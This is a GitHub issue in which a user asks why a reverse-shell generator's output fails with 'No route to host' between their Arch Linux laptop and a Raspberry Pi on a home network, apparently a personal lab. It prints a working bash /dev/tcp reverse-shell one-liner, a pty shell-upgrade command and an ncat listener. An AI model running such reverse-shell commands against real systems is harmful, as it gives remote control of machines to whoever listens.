Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Issue with the victim machine #17

Open
cdkw2 opened this issue Jun 8, 2024 · 0 comments
Open

Issue with the victim machine #17

cdkw2 opened this issue Jun 8, 2024 · 0 comments

Comments

@cdkw2
Copy link

cdkw2 commented Jun 8, 2024

So I am on arch linux with endeavour os on my main attacker machine and I am using a vnc to run commands on my raspberry pi but I am encountering some issues. Here is a picture. It says no route to host. Any fix?

image

Attacker machine:


                         __         __   __                  
  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ 
 / __// -_)| |/ / (_-< / _ \/ -_) / /  / /  / _ `// -_) / _ \
/_/   \__/ |___/ /___//_//_/\__/ /_/  /_/   \_, / \__/ /_//_/
                                           /___/


---------- [ SELECT IP ] ----------

[ x ] 192.168.29.48 on wlan0
[   ] Specify manually

---------- [ SPECIFY PORT ] ----------

[ # ] Enter port number : 9696

---------- [ SELECT COMMAND ] ----------

[ x ] unix_bash
[   ] unix_java
[   ] unix_nc_mkfifo
[   ] unix_nc_plain
[   ] unix_perl
[   ] unix_php
[   ] unix_python
[   ] unix_ruby
[   ] unix_telnet
[   ] windows_powershell

---------- [ SELECT ENCODE TYPE ] ----------

[ x ] NONE
[   ] URL ENCODE
[   ] BASE64 ENCODE

---------- [ FINISHED COMMAND ] ----------

bash -i >& /dev/tcp/192.168.29.48/9696 0>&1

[ ! ] Reverse shell command copied to clipboard!
[ + ] In case you want to upgrade your shell, you can use this:

python -c 'import pty;pty.spawn("/bin/bash")'

---------- [ SETUP LISTENER ] ----------

[ x ] yes
[   ] no
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9696
Ncat: Listening on 0.0.0.0:9696


Victim:

cdkw2@raspberrypi:~ $ bash -i >& /dev/tcp/192.168.29.48/9696 0>&1
bash: connect: No route to host
bash: /dev/tcp/192.168.29.48/9696: No route to host
cdkw2@raspberrypi:~ $ 

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant